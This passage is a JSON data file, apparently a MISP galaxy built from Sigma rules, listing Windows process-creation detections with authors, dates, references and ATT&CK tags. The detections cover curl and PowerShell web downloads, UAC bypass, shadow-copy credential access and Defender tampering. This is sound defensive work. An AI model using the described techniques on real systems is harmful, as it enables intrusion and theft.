        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d",
      "value": "Remote Access Tool - GoToAssist Execution"
    },
    {
      "description": "Detects execution of \"curl.exe\" with a potential custom \"User-Agent\". Attackers can leverage this to download or exfiltrate data via \"curl\" to a domain that only accept specific \"User-Agent\" strings",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_custom_user_agent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "85de1f22-d189-44e4-8239-dc276b45379b",
      "value": "Curl Web Request With Potential Custom User-Agent"
    },
    {
      "description": "Use of the commandline to shutdown or reboot windows",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_shutdown_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1529"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274",
      "value": "Suspicious Execution of Shutdown"
    },
    {
      "description": "Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/05/08",
        "falsepositive": [
          "System Informer is regularly used legitimately by system administrators or developers. Apply additional filters accordingly"
        ],
        "filename": "proc_creation_win_pua_system_informer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/winsiderss/systeminformer",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_system_informer.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.discovery",
          "attack.defense_evasion",
          "attack.t1082",
          "attack.t1564",
          "attack.t1543"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5722dff1-4bdd-4949-86ab-fbaf707e767a",
      "value": "PUA - System Informer Execution"
    },
    {
      "description": "Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/11/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_privilege_escalation_cli_patterns.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_privilege_escalation_cli_patterns.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "50d66fb0-03f8-4da0-8add-84e77d12a020",
      "value": "Suspicious RunAs-Like Flag Combination"
    },
    {
      "description": "Detects suspicious ways to download files or content using PowerShell",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/24",
        "falsepositive": [
          "Scripts or tools that download files"
        ],
        "filename": "proc_creation_win_powershell_download_cradles.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_cradles.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.execution",
          "attack.t1059.001",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "6e897651-f157-4d8f-aaeb-df8151488385",
      "value": "PowerShell Web Download"
    },
    {
      "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_advancedrun_priv_user.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/",
          "https://twitter.com/splinter_code/status/1483815103279603714",
          "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3",
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1134.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707",
      "value": "PUA - AdvancedRun Suspicious Execution"
    },
    {
      "description": "Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_trufflesnout.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md",
          "https://github.com/dsnezhkov/TruffleSnout/blob/master/TruffleSnout/Docs/USAGE.md",
          "https://github.com/dsnezhkov/TruffleSnout",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_trufflesnout.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1482"
        ]
      },
      "related": [
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a",
      "value": "HackTool - TruffleSnout Execution"
    },
    {
      "description": "Detects a command that accesses password storing registry hives via volume shadow backups",
      "meta": {
        "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Some rare backup scenarios"
        ],
        "filename": "proc_creation_win_malware_conti_shadowcopy.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection",
          "https://twitter.com/vxunderground/status/1423336151860002816?s=20",
          "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d",
      "value": "Sensitive Registry Access via Volume Shadow Copy"
    },
    {
      "description": "Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/18",
        "falsepositive": [
          "Another tool that uses the command line switches of PsLogList",
          "Legitimate use of PsLogList by an administrator"
        ],
        "filename": "proc_creation_win_sysinternals_psloglist.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
          "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList",
          "https://twitter.com/EricaZelic/status/1614075109827874817",
          "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087",
          "attack.t1087.001",
          "attack.t1087.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc",
      "value": "Suspicious Use of PsLogList"
    },
    {
      "description": "Detects the creation of a new service using the \"sc.exe\" utility.",
      "meta": {
        "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2023/02/20",
        "falsepositive": [
          "Legitimate administrator or user creates a service for legitimate reasons.",
          "Software installation"
        ],
        "filename": "proc_creation_win_sc_create_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_create_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "85ff530b-261d-48c6-a441-facaa2e81e48",
      "value": "New Service Creation Using Sc.EXE"
    },
    {
      "description": "Detects non-interactive PowerShell activity by looking at the \"powershell\" process with a non-user GUI process such as \"explorer.exe\" as a parent.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Likely. Many admin scripts and tools leverage PowerShell in their BAT or VB scripts which may trigger this rule often. It is best to add additional filters or use this to hunt for anomalies"
        ],
        "filename": "proc_creation_win_powershell_non_interactive_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20200925032237/https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_non_interactive_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f4bbd493-b796-416e-bbf2-121235348529",
      "value": "Non Interactive PowerShell Process Spawned"
    },
    {
      "description": "Detects file execution using the msdeploy.exe lolbin",
      "meta": {
        "author": "Beyu Denis, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "System administrator Usage"
        ],
        "filename": "proc_creation_win_lolbin_msdeploy.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/pabraeken/status/995837734379032576",
          "https://twitter.com/pabraeken/status/999090532839313408",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdeploy.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34",
      "value": "Execute Files with Msdeploy.exe"
    },
    {
      "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c",
      "value": "UAC Bypass Using PkgMgr and DISM"
    },
    {
      "description": "Detect usage of the \"runexehelper.exe\" binary as a proxy to launch other programs",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_runexehelper.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1206692239839289344",
          "https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd71385d-fd9b-4691-9b98-2b1f7e508714",
      "value": "Lolbin Runexehelper Use As Proxy"
    },
    {
      "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "proc_creation_win_dsim_remove.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism",
          "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9",
      "value": "Dism Remove Online Package"
    },
    {
      "description": "Detects potentially suspicious file downloads from file sharing domains using wget.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wget_download_susp_file_sharing_domains.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv",
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_susp_file_sharing_domains.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "a0d7e4d2-bede-4141-8896-bc6e237e977c",
      "value": "Suspicious File Download From File Sharing Domain Via Wget.EXE"
    },
    {
      "description": "Detects execution of \"odbcconf\" with the \"-f\" flag in order to load a response file with a non-\".rsp\" extension.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_odbcconf_response_file_susp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html",
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d32dd6f-3196-4093-b9eb-1ad8ab088ca5",
      "value": "Suspicious Response File Execution Via Odbcconf.EXE"
    },
    {
      "description": "Detects potential tampering with Windows Defender settings such as adding exclusion using wmic",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_namespace_defender.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md",
          "https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/",
          "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_namespace_defender.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1546.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "51cbac1e-eee3-4a90-b1b7-358efb81fa0a",
      "value": "Potential Windows Defender Tampering Via Wmic.EXE"
    },
    {
      "description": "Detects usage of attrib.exe to hide files from users.",
      "meta": {
        "author": "Sami Ruohonen",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)",
          "Msiexec.exe hiding desktop.ini"
        ],
        "filename": "proc_creation_win_attrib_hiding_files.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.uptycs.com/blog/lolbins-are-no-laughing-matter",
          "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4281cb20-2994-4580-aa63-c8b86d019934",
      "value": "Hiding Files with Attrib.exe"
    },
    {
      "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/15",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_bitlocker.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_bitlocker.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5",
      "value": "Suspicious Reg Add BitLocker"
    },
    {
      "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Various applications",
          "Tools that include ping or nslookup command invocations"
        ],
        "filename": "proc_creation_win_susp_execution_path_webserver.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d",
      "value": "Execution in Webserver Root Folder"
    },
    {
      "description": "Detects uncommon child processes of Appvlp.EXE\nAppvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/03/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_appvlp_uncommon_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_appvlp_uncommon_child_process.yml"
        ],
        "tags": [
          "attack.t1218",
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43",
      "value": "Uncommon Child Process Of Appvlp.EXE"
    },
    {
      "description": "Detects the presence of the \"u202+E\" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence.\nThis is used as an obfuscation and masquerading techniques.\n",
      "meta": {
        "author": "Micah Babinski, @micahbabinski",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Commandlines that contains scriptures such as arabic or hebrew might make use of this character"
        ],
        "filename": "proc_creation_win_susp_right_to_left_override.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://unicode-explorer.com/c/202E",
          "https://redcanary.com/blog/right-to-left-override/",
          "https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ad691d92-15f2-4181-9aa4-723c74f9ddc3",
      "value": "Potential Defense Evasion Via Right-to-Left Override"
    },
    {
      "description": "Detect suspicious parent processes of well-known Windows processes",
      "meta": {
        "author": "vburov",
        "creation_date": "2019/02/23",
        "falsepositive": [
          "Some security products seem to spawn these"
        ],
        "filename": "proc_creation_win_susp_proc_wrong_parent.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf",
          "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2",
          "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003",
          "attack.t1036.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "96036718-71cc-4027-a538-d1587e0006a7",
      "value": "Windows Processes Suspicious Parent Directory"
    },
    {
      "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64 where the files are located in potentially suspicious locations",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_encode_susp_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior",
          "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior",
          "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior",
          "https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "82a6714f-4899-4f16-9c1e-9a333544d4c3",
      "value": "File In Suspicious Location Encoded To Base64 Via Certutil.EXE"
    },
    {
      "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_redirect_local_admin_share.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/",
